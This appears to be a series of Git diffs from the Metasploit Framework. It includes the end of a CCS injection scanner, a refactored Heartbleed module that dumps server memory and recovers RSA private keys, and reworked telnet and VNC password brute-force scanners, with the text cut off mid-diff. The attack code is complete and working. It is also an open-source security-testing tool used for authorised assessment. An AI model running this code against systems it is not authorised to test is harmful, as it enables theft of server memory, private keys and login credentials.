['URL', 'http://ccsinjection.lepidum.co.jp/'],
['URL', 'http://ccsinjection.lepidum.co.jp/blog/2014-06-05/CCS-Injection-en/index.html'],
['URL', 'http://www.tripwire.com/state-of-security/incident-detection/detection-script-for-cve-2014-0224-openssl-cipher-change-spec-injection/'],
['URL', 'https://www.imperialviolet.org/2014/06/05/earlyccs.html']
],
'DisclosureDate' => 'Jun 5 2014',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(443),
OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]),
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10])
], self.class)
end
def peer
"#{rhost}:#{rport}"
end
def response_timeout
datastore['RESPONSE_TIMEOUT']
end
def run_host(ip)
ccs_injection
end
def ccs_injection
connect_result = establish_connect
return if connect_result.nil?
vprint_status("#{peer} - Sending CCS...")
sock.put(ccs)
alert = sock.get_once(-1, response_timeout)
if alert.blank?
print_good("#{peer} - No alert after invalid CSS message, probably vulnerable")
report
elsif alert.unpack("C").first == ALERT_RECORD_TYPE
vprint_error("#{peer} - Alert record as response to the invalid CCS Message, probably not vulnerable")
elsif alert
vprint_warning("#{peer} - Unexpected response.")
end
end
def report
report_vuln({
:host => rhost,
:port => rport,
:name => self.name,
:refs => self.references,
:info => "Module #{self.fullname} successfully detected CCS injection"
})
end
def ccs
payload = "\x01" # Change Cipher Spec Message
ssl_record(CCS_RECORD_TYPE, payload)
end
def client_hello
# Use current day for TLS time
time_temp = Time.now
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
hello_data = [TLS_VERSION[datastore['TLS_VERSION']]].pack("n") # Version TLS
hello_data << [time_epoch].pack("N") # Time in epoch format
hello_data << Rex::Text.rand_text(28) # Random
hello_data << "\x00" # Session ID length
hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites
hello_data << "\x01" # Compression methods length (1)
hello_data << "\x00" # Compression methods: null
data = "\x01\x00" # Handshake Type: Client Hello (1)
data << [hello_data.length].pack("n") # Length
data << hello_data
ssl_record(HANDSHAKE_RECORD_TYPE, data)
end
def ssl_record(type, data)
record = [type, TLS_VERSION[datastore['TLS_VERSION']], data.length].pack('Cnn')
record << data
end
def establish_connect
connect
vprint_status("#{peer} - Sending Client Hello...")
sock.put(client_hello)
server_hello = sock.get(response_timeout)
unless server_hello
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
disconnect
return nil
end
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
vprint_error("#{peer} - Server Hello Not Found")
return nil
end
true
end
end

View File

@ -3,6 +3,12 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
# TODO: Connection reuse: Only connect once and send subsequent heartbleed requests.
# We tried it once in https://github.com/rapid7/metasploit-framework/pull/3300
# but there were too many errors
# TODO: Parse the rest of the server responses and return a hash with the data
# TODO: Extract the relevant functions and include them in the framework
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
@ -65,9 +71,15 @@ class Metasploit3 < Msf::Auxiliary
0x00ff # Unknown
]
HANDSHAKE_RECORD_TYPE = 0x16
HEARTBEAT_RECORD_TYPE = 0x18
ALERT_RECORD_TYPE = 0x15
HANDSHAKE_RECORD_TYPE = 0x16
HEARTBEAT_RECORD_TYPE = 0x18
ALERT_RECORD_TYPE = 0x15
HANDSHAKE_SERVER_HELLO_TYPE = 0x02
HANDSHAKE_CERTIFICATE_TYPE = 0x0b
HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c
HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e
TLS_VERSION = {
'SSLv3' => 0x0300,
'1.0' => 0x0301,
@ -141,7 +153,7 @@ class Metasploit3 < Msf::Auxiliary
Opt::RPORT(443),
OptEnum.new('TLS_CALLBACK', [true, 'Protocol to use, "None" to use raw TLS sockets', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3', 'FTP', 'POSTGRES' ]]),
OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]),
OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 10]),
OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 50]),
OptInt.new('STATUS_EVERY', [true, 'How many retries until status', 5]),
OptRegexp.new('DUMPFILTER', [false, 'Pattern to filter leaked memory before storing', nil]),
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10])
@ -150,11 +162,20 @@ class Metasploit3 < Msf::Auxiliary
register_advanced_options(
[
OptInt.new('HEARTBEAT_LENGTH', [true, 'Heartbeat length', 65535]),
OptString.new('XMPPDOMAIN', [ true, 'The XMPP Domain to use when Jabber is selected', 'localhost' ])
OptString.new('XMPPDOMAIN', [true, 'The XMPP Domain to use when Jabber is selected', 'localhost'])
], self.class)
end
def peer
"#{rhost}:#{rport}"
end
#
# Main methods
#
# Called when using check
def check_host(ip)
@check_only = true
vprint_status "#{peer} - Checking for Heartbleed exposure"
@ -165,20 +186,48 @@ class Metasploit3 < Msf::Auxiliary
end
end
# Main method
def run
if heartbeat_length > 65535 || heartbeat_length < 0
print_error("HEARTBEAT_LENGTH should be a natural number less than 65536")
print_error('HEARTBEAT_LENGTH should be a natural number less than 65536')
return
end
if response_timeout < 0
print_error("RESPONSE_TIMEOUT should be bigger than 0")
print_error('RESPONSE_TIMEOUT should be bigger than 0')
return
end
super
end
# Main method
def run_host(ip)
# initial connect to get public key and stuff
connect_result = establish_connect
disconnect
return if connect_result.nil?
case action.name
when 'SCAN'
loot_and_report(bleed)
when 'DUMP'
loot_and_report(bleed) # Scan & Dump are similar, scan() records results
when 'KEYS'
getkeys
else
#Shouldn't get here, since Action is Enum
print_error("Unknown Action: #{action.name}")
end
# ensure all connections are closed
disconnect
end
#
# DATASTORE values
#
# If this is merely a check, set to the RFC-defined
# maximum padding length of 2^14. See:
# https://tools.ietf.org/html/rfc6520#section-4
@ -187,53 +236,77 @@ class Metasploit3 < Msf::Auxiliary
if @check_only
SAFE_CHECK_MAX_RECORD_LENGTH
else
datastore["HEARTBEAT_LENGTH"]
datastore['HEARTBEAT_LENGTH']
end
end
def peer
"#{rhost}:#{rport}"
end
def response_timeout
datastore['RESPONSE_TIMEOUT']
end
def tls_version
datastore['TLS_VERSION']
end
def dumpfilter
datastore['DUMPFILTER']
end
def max_keytries
datastore['MAX_KEYTRIES']
end
def xmpp_domain
datastore['XMPPDOMAIN']
end
def status_every
datastore['STATUS_EVERY']
end
def tls_callback
datastore['TLS_CALLBACK']
end
#
# TLS Callbacks
#
def tls_smtp
# https://tools.ietf.org/html/rfc3207
sock.get_once(-1, response_timeout)
get_data
sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\r\n")
res = sock.get_once(-1, response_timeout)
res = get_data
unless res && res =~ /STARTTLS/
return nil
end
sock.put("STARTTLS\r\n")
sock.get_once(-1, response_timeout)
get_data
end
def tls_imap
# http://tools.ietf.org/html/rfc2595
sock.get_once(-1, response_timeout)
get_data
sock.put("a001 CAPABILITY\r\n")
res = sock.get_once(-1, response_timeout)
res = get_data
unless res && res =~ /STARTTLS/i
return nil
end
sock.put("a002 STARTTLS\r\n")
sock.get_once(-1, response_timeout)
get_data
end
def tls_postgres
# postgresql TLS - works with all modern pgsql versions - 8.0 - 9.3
# http://www.postgresql.org/docs/9.3/static/protocol-message-formats.html
sock.get_once
get_data
# the postgres SSLRequest packet is a int32(8) followed by a int16(1234),
# int16(5679) in network format
psql_sslrequest = [8].pack('N')
psql_sslrequest << [1234, 5679].pack('n*')
sock.put(psql_sslrequest)
res = sock.get_once
res = get_data
unless res && res =~ /S/
return nil
end
@ -242,14 +315,14 @@ class Metasploit3 < Msf::Auxiliary
def tls_pop3
# http://tools.ietf.org/html/rfc2595
sock.get_once(-1, response_timeout)
get_data
sock.put("CAPA\r\n")
res = sock.get_once(-1, response_timeout)
res = get_data
if res.nil? || res =~ /^-/ || res !~ /STLS/
return nil
end
sock.put("STLS\r\n")
res = sock.get_once(-1, response_timeout)
res = get_data
if res.nil? || res =~ /^-/
return nil
end
@ -265,13 +338,13 @@ class Metasploit3 < Msf::Auxiliary
end
def tls_jabber
sock.put(jabber_connect_msg(datastore['XMPPDOMAIN']))
sock.put(jabber_connect_msg(xmpp_domain))
res = sock.get(response_timeout)
if res && res.include?('host-unknown')
jabber_host = res.match(/ from='([\w.]*)' /)
if jabber_host && jabber_host[1]
disconnect
connect
establish_connect
vprint_status("#{peer} - Connecting with autodetected remote XMPP hostname: #{jabber_host[1]}...")
sock.put(jabber_connect_msg(jabber_host[1]))
res = sock.get(response_timeout)
@ -293,7 +366,7 @@ class Metasploit3 < Msf::Auxiliary
res = sock.get(response_timeout)
return nil if res.nil?
sock.put("AUTH TLS\r\n")
res = sock.get_once(-1, response_timeout)
res = get_data
return nil if res.nil?
if res !~ /^234/
# res contains the error message
@ -303,31 +376,83 @@ class Metasploit3 < Msf::Auxiliary
res
end
def run_host(ip)
case action.name
when 'SCAN'
loot_and_report(bleed)
when 'DUMP'
loot_and_report(bleed) # Scan & Dump are similar, scan() records results
when 'KEYS'
getkeys()
else
#Shouldn't get here, since Action is Enum
print_error("Unknown Action: #{action.name}")
return
#
# Helper Methods
#
# Get data from the socket
# this ensures the requested length is read (if available)
def get_data(length = -1)
return sock.get_once(-1, response_timeout) if length == -1
to_receive = length
data = ''
while to_receive > 0
temp = sock.get_once(to_receive, response_timeout)
break if temp.nil?
data << temp
to_receive -= temp.length
end
data
end
def to_hex_string(data)
data.each_byte.map { |b| sprintf('%02X ', b) }.join.strip
end
# establishes a connect and parses the server response
def establish_connect
connect
unless tls_callback == 'None'
vprint_status("#{peer} - Trying to start SSL via #{tls_callback}")
res = self.send(TLS_CALLBACKS[tls_callback])
if res.nil?
vprint_error("#{peer} - STARTTLS failed...")
return nil
end
end
vprint_status("#{peer} - Sending Client Hello...")
sock.put(client_hello)
server_hello = sock.get(response_timeout)
unless server_hello
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
return nil
end
server_resp_parsed = parse_ssl_record(server_hello)
if server_resp_parsed.nil?
vprint_error("#{peer} - Server Hello Not Found")
return nil
end
server_resp_parsed
end
# Generates a heartbeat request
def heartbeat_request(length)
payload = "\x01" # Heartbeat Message Type: Request (1)
payload << [length].pack('n') # Payload Length: 65535
ssl_record(HEARTBEAT_RECORD_TYPE, payload)
end
# Generates, sends and receives a heartbeat message
def bleed
# This actually performs the heartbleed portion
connect_result = establish_connect
return if connect_result.nil?
vprint_status("#{peer} - Sending Heartbeat...")
sock.put(heartbeat(heartbeat_length))
hdr = sock.get_once(5, response_timeout)
if hdr.blank?
sock.put(heartbeat_request(heartbeat_length))
hdr = get_data(5)
if hdr.nil? || hdr.empty?
vprint_error("#{peer} - No Heartbeat response...")
disconnect
return
end
@ -338,33 +463,36 @@ class Metasploit3 < Msf::Auxiliary
# try to get the TLS error
if type == ALERT_RECORD_TYPE
res = sock.get_once(len, response_timeout)
res = get_data(len)
alert_unp = res.unpack('CC')
alert_level = alert_unp[0]
alert_desc = alert_unp[1]
msg = "Unknown error"
# http://tools.ietf.org/html/rfc5246#section-7.2
case alert_desc
when 0x46
msg = "Protocol error. Looks like the chosen protocol is not supported."
msg = 'Protocol error. Looks like the chosen protocol is not supported.'
else
msg = 'Unknown error'
end
vprint_error("#{peer} - #{msg}")
disconnect
return
end
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLS_VERSION']]
vprint_error("#{peer} - Unexpected Heartbeat response")
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[tls_version]
vprint_error("#{peer} - Unexpected Heartbeat response header (#{to_hex_string(hdr)})")
disconnect
return
end
heartbeat_data = sock.get(heartbeat_length) # Read the magic length...
heartbeat_data = get_data(heartbeat_length)
vprint_status("#{peer} - Heartbeat response, #{heartbeat_data.length} bytes")
disconnect
heartbeat_data
end
# Stores received data
def loot_and_report(heartbeat_data)
unless heartbeat_data
@ -382,19 +510,19 @@ class Metasploit3 < Msf::Auxiliary
})
if action.name == 'DUMP' # Check mode, dump if requested.
pattern = datastore['DUMPFILTER']
pattern = dumpfilter
if pattern
match_data = heartbeat_data.scan(pattern).join
else
match_data = heartbeat_data
end
path = store_loot(
"openssl.heartbleed.server",
"application/octet-stream",
'openssl.heartbleed.server',
'application/octet-stream',
rhost,
match_data,
nil,
"OpenSSL Heartbleed server memory"
'OpenSSL Heartbleed server memory'
)
print_status("#{peer} - Heartbeat data stored in #{path}")
end
@ -403,12 +531,12 @@ class Metasploit3 < Msf::Auxiliary
end
def getkeys()
unless datastore['TLS_CALLBACK'] == 'None'
print_error('TLS callbacks currently unsupported for keydumping action') #TODO
return
end
#
# Keydumoing helper methods
#
# Tries to retreive the private key
def getkeys
print_status("#{peer} - Scanning for private keys")
count = 0
@ -423,13 +551,16 @@ class Metasploit3 < Msf::Auxiliary
vprint_status("#{peer} - e: #{e}")
print_status("#{peer} - #{Time.now.getutc} - Starting.")
datastore['MAX_KEYTRIES'].times {
max_keytries.times {
# Loop up to MAX_KEYTRIES times, looking for keys
if count % datastore['STATUS_EVERY'] == 0
if count % status_every == 0
print_status("#{peer} - #{Time.now.getutc} - Attempt #{count}...")
end
p, q = get_factors(bleed, n) # Try to find factors in mem
bleedresult = bleed
return unless bleedresult
p, q = get_factors(bleedresult, n) # Try to find factors in mem
unless p.nil? || q.nil?
key = key_from_pqe(p, q, e)
@ -437,75 +568,32 @@ class Metasploit3 < Msf::Auxiliary
print_status(key.export)
path = store_loot(
"openssl.heartbleed.server",
"text/plain",
'openssl.heartbleed.server',
'text/plain',
rhost,
key.export,
nil,
"OpenSSL Heartbleed Private Key"
'OpenSSL Heartbleed Private Key'
)
print_status("#{peer} - Private key stored in #{path}")
return
end
count += 1
}
print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES.")
print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES and/or HEARTBEAT_LENGTH.")
end
def heartbeat(length)
payload = "\x01" # Heartbeat Message Type: Request (1)
payload << [length].pack("n") # Payload Length: 65535
ssl_record(HEARTBEAT_RECORD_TYPE, payload)
end
def client_hello
# Use current day for TLS time
time_temp = Time.now
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
hello_data = [TLS_VERSION[datastore['TLS_VERSION']]].pack("n") # Version TLS
hello_data << [time_epoch].pack("N") # Time in epoch format
hello_data << Rex::Text.rand_text(28) # Random
hello_data << "\x00" # Session ID length
hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites
hello_data << "\x01" # Compression methods length (1)
hello_data << "\x00" # Compression methods: null
hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat)
hello_data_extensions << "\x00\x01" # Extension length
hello_data_extensions << "\x01" # Extension data
hello_data << [hello_data_extensions.length].pack("n")
hello_data << hello_data_extensions
data = "\x01\x00" # Handshake Type: Client Hello (1)
data << [hello_data.length].pack("n") # Length
data << hello_data
ssl_record(HANDSHAKE_RECORD_TYPE, data)
end
def ssl_record(type, data)
record = [type, TLS_VERSION[datastore['TLS_VERSION']], data.length].pack('Cnn')
record << data
end
def get_ne()
# Fetch rhost's cert, return public key values
connect(true, {"SSL" => true}) #Force SSL
cert = OpenSSL::X509::Certificate.new(sock.peer_cert)
disconnect
unless cert
# Returns the N and E params from the public server certificate
def get_ne
unless @cert
print_error("#{peer} - No certificate found")
return
end
return cert.public_key.params["n"], cert.public_key.params["e"]
return @cert.public_key.params['n'], @cert.public_key.params['e']
end
# Tries to find pieces of the private key in the provided data
def get_factors(data, n)
# Walk through data looking for factors of n
psize = n.num_bits / 8 / 2
@ -523,40 +611,11 @@ class Metasploit3 < Msf::Auxiliary
return p, q
end
end
}
}
return nil, nil
end
def establish_connect
connect
unless datastore['TLS_CALLBACK'] == 'None'
vprint_status("#{peer} - Trying to start SSL via #{datastore['TLS_CALLBACK']}")
res = self.send(TLS_CALLBACKS[datastore['TLS_CALLBACK']])
if res.nil?
vprint_error("#{peer} - STARTTLS failed...")
return nil
end
end
vprint_status("#{peer} - Sending Client Hello...")
sock.put(client_hello)
server_hello = sock.get(response_timeout)
unless server_hello
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
disconnect
return nil
end
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
vprint_error("#{peer} - Server Hello Not Found")
return nil
end
true
end
# Generates the private key from the P, Q and E values
def key_from_pqe(p, q, e)
# Returns an RSA Private Key from Factors
key = OpenSSL::PKey::RSA.new()
@ -577,5 +636,170 @@ class Metasploit3 < Msf::Auxiliary
return key
end
end
#
# SSL/TLS packet methods
#
# Creates and returns a new SSL record with the provided data
def ssl_record(type, data)
record = [type, TLS_VERSION[tls_version], data.length].pack('Cnn')
record << data
end
# generates a CLIENT_HELLO ssl/tls packet
def client_hello
# Use current day for TLS time
time_temp = Time.now
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
hello_data = [TLS_VERSION[tls_version]].pack('n') # Version TLS
hello_data << [time_epoch].pack('N') # Time in epoch format
hello_data << Rex::Text.rand_text(28) # Random
hello_data << "\x00" # Session ID length
hello_data << [CIPHER_SUITES.length * 2].pack('n') # Cipher Suites length (102)
hello_data << CIPHER_SUITES.pack('n*') # Cipher Suites
hello_data << "\x01" # Compression methods length (1)
hello_data << "\x00" # Compression methods: null
hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat)
hello_data_extensions << "\x00\x01" # Extension length
hello_data_extensions << "\x01" # Extension data
hello_data << [hello_data_extensions.length].pack('n')
hello_data << hello_data_extensions
data = "\x01\x00" # Handshake Type: Client Hello (1)
data << [hello_data.length].pack('n') # Length
data << hello_data
ssl_record(HANDSHAKE_RECORD_TYPE, data)
end
# Parse SSL header
def parse_ssl_record(data)
ssl_records = []
remaining_data = data
ssl_record_counter = 0
while remaining_data && remaining_data.length > 0
ssl_record_counter += 1
ssl_unpacked = remaining_data.unpack('CH4n')
return nil if ssl_unpacked.nil? or ssl_unpacked.length < 3
ssl_type = ssl_unpacked[0]
ssl_version = ssl_unpacked[1]
ssl_len = ssl_unpacked[2]
vprint_debug("SSL record ##{ssl_record_counter}:")
vprint_debug("\tType: #{ssl_type}")
vprint_debug("\tVersion: 0x#{ssl_version}")
vprint_debug("\tLength: #{ssl_len}")
if ssl_type != HANDSHAKE_RECORD_TYPE
vprint_debug("\tWrong Record Type! (#{ssl_type})")
else
ssl_data = remaining_data[5, ssl_len]
handshakes = parse_handshakes(ssl_data)
ssl_records << {
:type => ssl_type,
:version => ssl_version,
:length => ssl_len,
:data => handshakes
}
end
remaining_data = remaining_data[(ssl_len + 5)..-1]
end
ssl_records
end
# Parse Handshake data returned from servers
def parse_handshakes(data)
# Can contain multiple handshakes
remaining_data = data
handshakes = []
handshake_count = 0
while remaining_data && remaining_data.length > 0
hs_unpacked = remaining_data.unpack('CCn')
next if hs_unpacked.nil? or hs_unpacked.length < 3
hs_type = hs_unpacked[0]
hs_len_pad = hs_unpacked[1]
hs_len = hs_unpacked[2]
hs_data = remaining_data[4, hs_len]
handshake_count += 1
vprint_debug("\tHandshake ##{handshake_count}:")
vprint_debug("\t\tLength: #{hs_len}")
handshake_parsed = nil
case hs_type
when HANDSHAKE_SERVER_HELLO_TYPE
vprint_debug("\t\tType: Server Hello (#{hs_type})")
handshake_parsed = parse_server_hello(hs_data)
when HANDSHAKE_CERTIFICATE_TYPE
vprint_debug("\t\tType: Certificate Data (#{hs_type})")
handshake_parsed = parse_certificate_data(hs_data)
when HANDSHAKE_KEY_EXCHANGE_TYPE
vprint_debug("\t\tType: Server Key Exchange (#{hs_type})")
# handshake_parsed = parse_server_key_exchange(hs_data)
when HANDSHAKE_SERVER_HELLO_DONE_TYPE
vprint_debug("\t\tType: Server Hello Done (#{hs_type})")
else
vprint_debug("\t\tType: Handshake type #{hs_type} not implemented")
end
handshakes << {
:type => hs_type,
:len => hs_len,
:data => handshake_parsed
}
remaining_data = remaining_data[(hs_len + 4)..-1]
end
handshakes
end
# Parse Server Hello message
def parse_server_hello(data)
version = data.unpack('H4')[0]
vprint_debug("\t\tServer Hello Version: 0x#{version}")
random = data[2,32].unpack('H*')[0]
vprint_debug("\t\tServer Hello random data: #{random}")
session_id_length = data[34,1].unpack('C')[0]
vprint_debug("\t\tServer Hello Session ID length: #{session_id_length}")
session_id = data[35,session_id_length].unpack('H*')[0]
vprint_debug("\t\tServer Hello Session ID: #{session_id}")
# TODO Read the rest of the server hello (respect message length)
# TODO: return hash with data
true
end
# Parse certificate data
def parse_certificate_data(data)
# get certificate data length
unpacked = data.unpack('Cn')
cert_len_padding = unpacked[0]
cert_len = unpacked[1]
vprint_debug("\t\tCertificates length: #{cert_len}")
# contains multiple certs
already_read = 3
cert_counter = 0
while already_read < cert_len
start = already_read
cert_counter += 1
# get single certificate length
single_cert_unpacked = data[start, 3].unpack('Cn')
single_cert_len_padding = single_cert_unpacked[0]
single_cert_len = single_cert_unpacked[1]
vprint_debug("\t\tCertificate ##{cert_counter}:")
vprint_debug("\t\t\tCertificate ##{cert_counter}: Length: #{single_cert_len}")
certificate_data = data[(start + 3), single_cert_len]
cert = OpenSSL::X509::Certificate.new(certificate_data)
# First received certificate is the one from the server
@cert = cert if @cert.nil?
#vprint_debug("Got certificate: #{cert.to_text}")
vprint_debug("\t\t\tCertificate ##{cert_counter}: #{cert.inspect}")
already_read = already_read + single_cert_len + 3
end
# TODO: return hash with data
true
end
end

View File

@ -4,6 +4,9 @@
##
require 'msf/core'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/telnet'
class Metasploit3 < Msf::Auxiliary
@ -33,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary
deregister_options('RHOST')
register_advanced_options(
[
OptInt.new('TIMEOUT', [ true, 'Default timeout for telnet connections. The greatest value of TelnetTimeout, TelnetBannerTimeout, or this option will be used as an overall timeout.', 0])
OptInt.new('TIMEOUT', [ true, 'Default timeout for telnet connections.', 25])
], self.class
)
@ -44,190 +47,74 @@ class Metasploit3 < Msf::Auxiliary
attr_accessor :password_only
def run_host(ip)
overall_timeout ||= [
datastore['TIMEOUT'].to_i,
datastore['TelnetBannerTimeout'].to_i,
datastore['TelnetTimeout'].to_i
].max
# Check for a password-only prompt for this machine.
self.password_only = []
if connect_reset_safe == :connected
@strip_usernames = true if password_prompt?
self.sock.close
end
begin
each_user_pass do |user, pass|
Timeout.timeout(overall_timeout) do
res = try_user_pass(user, pass)
start_telnet_session(rhost,rport,user,pass) if res == :next_user
end
end
rescue ::Rex::ConnectionError, ::EOFError, ::Timeout::Error
return
end
end
def try_user_pass(user, pass)
vprint_status "#{rhost}:#{rport} Telnet - Attempting: '#{user}':'#{pass}'"
this_attempt ||= 0
ret = nil
while this_attempt <=3 and (ret.nil? or ret == :refused)
if this_attempt > 0
select(nil,nil,nil,2**this_attempt)
vprint_error "#{rhost}:#{rport} Telnet - Retrying '#{user}':'#{pass}' due to reset"
end
ret = do_login(user,pass)
this_attempt += 1
end
case ret
when :no_auth_required
print_good "#{rhost}:#{rport} Telnet - No authentication required!"
report_telnet('','',@trace)
return :abort
when :no_pass_prompt
vprint_status "#{rhost}:#{rport} Telnet - Skipping '#{user}' due to missing password prompt"
return :skip_user
when :timeout
vprint_status "#{rhost}:#{rport} Telnet - Skipping '#{user}':'#{pass}' due to timeout"
when :busy
vprint_error "#{rhost}:#{rport} Telnet - Skipping '#{user}':'#{pass}' due to busy state"
when :refused
vprint_error "#{rhost}:#{rport} Telnet - Skipping '#{user}':'#{pass}' due to connection refused."
when :skip_user
vprint_status "#{rhost}:#{rport} Telnet - Skipping disallowed user '#{user}' for subsequent requests"
return :skip_user
when :success
unless user == user.downcase
case_ret = do_login(user.downcase,pass)
if case_ret == :success
user= user.downcase
print_status("Username #{user} is case insensitive")
end
end
report_telnet(user,pass,@trace)
return :next_user
end
end
# Sometimes telnet servers start RSTing if you get them angry.
# This is a short term fix; the problem is that we don't know
# if it's going to reset forever, or just this time, or randomly.
# A better solution is to get the socket connect to try again
# with a little backoff.
def connect_reset_safe
begin
connect
rescue Rex::ConnectionRefused
return :refused
end
return :connected
end
# Making this serial since the @attempts counting business is causing
# all kinds of syncing problems.
def do_login(user,pass)
return :refused if connect_reset_safe == :refused
begin
vprint_status("#{rhost}:#{rport} Banner: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
if busy_message?
self.sock.close unless self.sock.closed?
return :busy
end
if login_succeeded?
return :no_auth_required
end
# Immediate password prompt... try our password!
if password_prompt?
user = ''
if password_only.include?(pass)
print_status("#{rhost}:#{rport} - Telnet - skipping already tried password '#{pass}'")
return :tried
end
print_status("#{rhost}:#{rport} - Telnet - trying password only authentication with password '#{pass}'")
password_only << pass
else
send_user(user)
end
recvd_sample = @recvd.dup
# Allow for slow echos
1.upto(10) do
recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/]
end
vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
if password_prompt?(user)
send_pass(pass)
# Allow for slow echos
1.upto(10) do
recv_telnet(self.sock, 0.10) if @recvd == recvd_sample
end
vprint_status("#{rhost}:#{rport} Result: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
if login_succeeded?
return :success
else
self.sock.close unless self.sock.closed?
if @recvd =~ /Not on system console/ # Solaris8, user is not allowed
return :skip_user
else
return :fail
end
end
else
if login_succeeded? && @recvd !~ /^#{user}\x0d*\x0a/
report_telnet(user,pass,@trace)
return :no_pass_required
else
self.sock.close unless self.sock.closed?
return :no_pass_prompt
end
end
rescue ::Interrupt
self.sock.close unless self.sock.closed?
raise $!
rescue ::Exception => e
if e.to_s == "execution expired"
self.sock.close unless self.sock.closed?
return :timeout
else
self.sock.close unless self.sock.closed?
print_error("#{rhost}:#{rport} Error: #{e.class} #{e} #{e.backtrace}")
end
end
end
def report_telnet(user, pass, proof)
print_good("#{rhost} - SUCCESSFUL LOGIN #{user} : #{pass}")
report_auth_info(
:host => rhost,
:port => datastore['RPORT'],
:sname => 'telnet',
:user => user,
:pass => pass,
:proof => proof,
:source_type => "user_supplied",
:active => true
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS'],
)
scanner = Metasploit::Framework::LoginScanner::Telnet.new(
host: ip,
port: rport,
proxies: datastore['PROXIES'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
connection_timeout: datastore['Timeout'],
banner_timeout: datastore['TelnetBannerTimeout'],
telnet_timeout: datastore['TelnetTimeout']
)
service_data = {
address: ip,
port: rport,
service_name: 'telnet',
protocol: 'tcp',
workspace_id: myworkspace_id
}
scanner.scan! do |result|
if result.success?
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: result.credential.private,
private_type: :password,
username: result.credential.public
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Credential::Login::Status::SUCCESSFUL
}
login_data.merge!(service_data)
create_credential_login(login_data)
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
start_telnet_session(ip,rport,result.credential.public,result.credential.private,scanner)
else
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: nil,
realm_value: nil,
status: result.status)
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
end
end
end
def start_telnet_session(host, port, user, pass)
def start_telnet_session(host, port, user, pass, scanner)
print_status "Attempting to start session #{host}:#{port} with #{user}:#{pass}"
merge_me = {
'USERPASS_FILE' => nil,
@ -237,7 +124,7 @@ class Metasploit3 < Msf::Auxiliary
'PASSWORD' => pass
}
start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true)
start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true, scanner.sock)
end
end

View File

@ -5,6 +5,8 @@
require 'msf/core'
require 'rex/proto/rfb'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/vnc'
class Metasploit3 < Msf::Auxiliary
@ -56,82 +58,68 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
print_status("#{ip}:#{rport} - Starting VNC login sweep")
begin
each_user_pass { |user, pass|
ret = nil
attempts = 5
attempts.times { |n|
ret = do_login(user, pass)
break if ret != :retry
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS']
)
delay = (2**(n+1)) + 1
vprint_status("Retrying in #{delay} seconds...")
select(nil, nil, nil, delay)
scanner = Metasploit::Framework::LoginScanner::VNC.new(
host: ip,
port: rport,
proxies: datastore['PROXIES'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
connection_timeout: datastore['ConnectTimeout']
)
service_data = {
address: ip,
port: rport,
service_name: 'vnc',
